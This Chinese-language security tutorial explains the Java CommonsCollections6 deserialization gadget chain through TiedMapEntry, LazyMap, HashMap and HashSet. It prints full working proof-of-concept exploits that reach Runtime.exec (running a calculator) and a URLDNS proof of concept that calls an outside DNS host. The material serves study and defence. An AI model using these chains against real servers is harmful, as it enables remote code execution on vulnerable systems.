背景

在前面关于 CommonsCollections1 链的两篇文章中,都提到了该链的利用是需要 JDK 版本小于 8u71,这一限制会降低此链在实战中的利用率。

有一条常用链不受 JDK 版本的限制,即 CommonsCollections6 链(后续简称 CC6 链),CC6 与 CC1 相比,Kick-off 入口类发生了变化,还增加了一个TiedMapEntry中间 Gadget 链,后续的LazyMap中间 Gadget 链和 Sink 依旧没变,对于部分重复的内容,在本文将不再赘述,如果对此不够了解,建议从前两篇文章开始看起。

影响范围

虽然 CC6 链不像 CC1 那样会受到 JDK 版本的约束,但对于 Commons Collections 的版本也是要求在 3.0 以上、3.2.2 以下,即大于等于 3.1 且小于等于 3.2.1。

前情回顾

上一篇《Java 反序列化漏洞之 LazyMap 型 CC1 链》文章中,有对LazyMap中间 Gadget 链做详细分析,通过向LazyMap#decorate方法传入一个恶意的ChainedTransformer对象作为恶意的factory,然后调用LayzMap#get方法,便会触发恶意行为。而LayzMap#get方法的触发是则是通过动态代理调用AnnotationInvocationHandler.invoke方法。

在 CC6 链中,就没有用到动态代理的技术去调用AnnotationInvocationHandler.invoke方法以触发LayzMap#get方法,而是通过TiedMapEntry#hashCode方法做到的。

TiedMapEntry#hashCode

org.apache.commons.collections.keyvalue.TiedMapEntry也是 Apache Commons Collections 库中的一个类,它用于表示键值对的条目,TiedMapEntry类实现了表示映射条目的Map.Entry、表示键值对的KeyValue和用于序列化的Serializable接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;

private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getKey() {
return key;
}

/**
* 直接从map中获取此条目的值。
*/
public Object getValue() {
return map.get(key);
}

// ... 省略部分无关代码 ...

/**
* 获取与equals方法兼容的hashCode
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}

TiedMapEntry类中的hashCode方法将条目的键和值的哈希码进行异或运算,以计算条目的哈希码。在hashCode方法中有对getValue方法进行调用,而getValue中又存在map.get调用,这样便能够触发LayzMap#get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
Transformer tcChain = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap(), tcChain);

TiedMapEntry tme = new TiedMapEntry(lazyMap, "k");

tme.hashCode();
}
}

HashMap

java.util.HashMap类在之前的 URLDNS 链中就已用到过,这里将其及其相关方法再一次贴出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();

// ...

if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings);
else if (mappings > 0) { // (if zero, use defaults)
// ...

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
}

只要你稍微回忆下 URLDNS 链,一种似曾相识的感觉或许就会涌现你心头。其实不光是HashMap类,上面TiedMapEntry#hashCode方法的出现,也应该能够联系到 URLDNS 链,URLDNS 链中的 Sink 就是调用的hashCode方法。

这里,也将 URLDNS 完整调用链和 POC 再次贴出来,若对 URLDNS 链不熟悉,请先回头看《Java 反序列化漏洞#URLDNS 链分析》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
*/

public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("http://urldns.1asj4bef1af.ipv6.bypass.eu.org");

Class c = Class.forName("java.net.URL");
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
// 修改hashCode的值为非-1,以防止在序列化时触发DNS查询,造成误报
f.set(url, 1);

HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 0);

// 将hashCode改回-1,以在反序列化时触发DNS查询
f.set(url, -1);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
oos.writeObject(hashMap);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.ser"));
ois.readObject();
}
}

在此前的 URLDNS 链中,我们首先对url对象的成员变量hashCode修改成了非-1,以防在序列化时触发 DNS 查询,造成误报,然后再调用put方法,最后才会将hashCode改回-1,以在反序列化时触发 DNS 查询。

同理,在 CC 链中也需要这样的操作,由于此处涉及的是Transformer对象,那我们就可以先传入一个空ChainedTransformerlazyMap,然后创建TiedMapEntry对象并传入这个lazyMap和一个 key,再创建HashMap对象并调用put新增TiedMapEntry对象和一个 value,最后利用反射将真正恶意的 Transformer 数组传入ChainedTransformer中。

最后的最后,还需对传入lazyMap中的键进行移除,以通过LazyMap#get方法中的 if 判断。

1
2
3
4
5
6
7
8
9
10
11
12
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

public Object get(Object key) {
// 如果key当前不在map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

这样,在反序列化时便能够顺利地触发到LazyMap#get方法,并触发其中的transform方法调用。

综上,最终构造如下 POC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/* Gadget Chain:
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

public class CC6WithHashMap {
public static void main(String[] args) throws Exception {
Transformer[] evilTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};

// 创建一个空ChainedTransformer
Transformer emptyTransformers = new ChainedTransformer(new Transformer[]{});

// 将如上创建的空ChainedTransformer传入新创建的lazyMap中
Map lazyMap = LazyMap.decorate(new HashMap(), emptyTransformers);

// 创建TiedMapEntry对象,将lazyMap传入其中
TiedMapEntry entry = new TiedMapEntry(lazyMap, "k");

// 创建HashMap对象
Map hashMap = new HashMap();
hashMap.put(entry, "v");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
// 利用反射技术,传入真正恶意的evilTransformers
f.set(emptyTransformers, evilTransformers);

// 移除传入lazyMap中的Key,使LazyMap#get方法中的(map.containsKey(key) == false)判断为true
lazyMap.remove("k");

// ----------------本地序列化与反序列化测试----------------
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("CC6WithHashMap.ser"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("CC6WithHashMap.ser"));
inputStream.readObject();
}
}

HashSet

在 CC6 链中,除了java.util.HashMap类可作为 Kick-off 外,java.util.HashSet类也同样可以,只是稍显繁琐,Ysoserial 工具中的 CC6 链用到的就是这种方式。

HashSet是 Java 标准库中的一个类,具有快速添加、删除和查找等操作功能,并且实现了SetSerializable等接口。HashSet内部实际上是通过一个HashMap实例来存储元素的,HashSet中的元素被存储为HashMap中的键,而对应的值则是一个固定的Object对象。在HashSet中,元素相当于是HashMap的键,而值则是一个占位符对象(即PRESENT常量),所以实际上HashSet只是一个对HashMap的包装,它通过键的唯一性来保证集合中不包含重复元素。

HashSet中重写的readObject方法中,有对HashMap中的put方法进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable {
static final long serialVersionUID = -5024744406713321676L;

private transient HashMap<E,Object> map;

// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();

// ...

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// ...

// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
}

所以以HashSet作为 Kick-off,构造完整链的方式相比直接用HashMap,没有发生多大的变化,无非再多套一层HashSet,那么据此直接构造如下 POC 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/* Gadget Chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

public class CC6WithHashSet {
public static void main(String[] args) throws Exception {
Transformer[] evilTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};

// 创建一个空ChainedTransformer
Transformer emptyTransformers = new ChainedTransformer(new Transformer[]{});

// 将如上创建的空ChainedTransformer传入新创建的lazyMap中
Map lazyMap = LazyMap.decorate(new HashMap(), emptyTransformers);

// 创建TiedMapEntry对象,将lazyMap传入其中
TiedMapEntry entry = new TiedMapEntry(lazyMap, "k");

Map hashMap = new HashMap();
hashMap.put(entry, "v");

// 返回一个包含hashMap中所有键的Set视图
HashSet hashSet = new HashSet(hashMap.keySet());

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
// 利用反射技术,传入真正恶意的evilTransformers
f.set(emptyTransformers, evilTransformers);

// 移除传入lazyMap中的Key,使LazyMap#get方法中的(map.containsKey(key) == false)判断为true
lazyMap.remove("k");

// ----------------本地序列化与反序列化测试----------------
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("CC6WithHashSet.ser"));
outputStream.writeObject(hashSet);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("CC6WithHashSet.ser"));
inputStream.readObject();
}
}

参考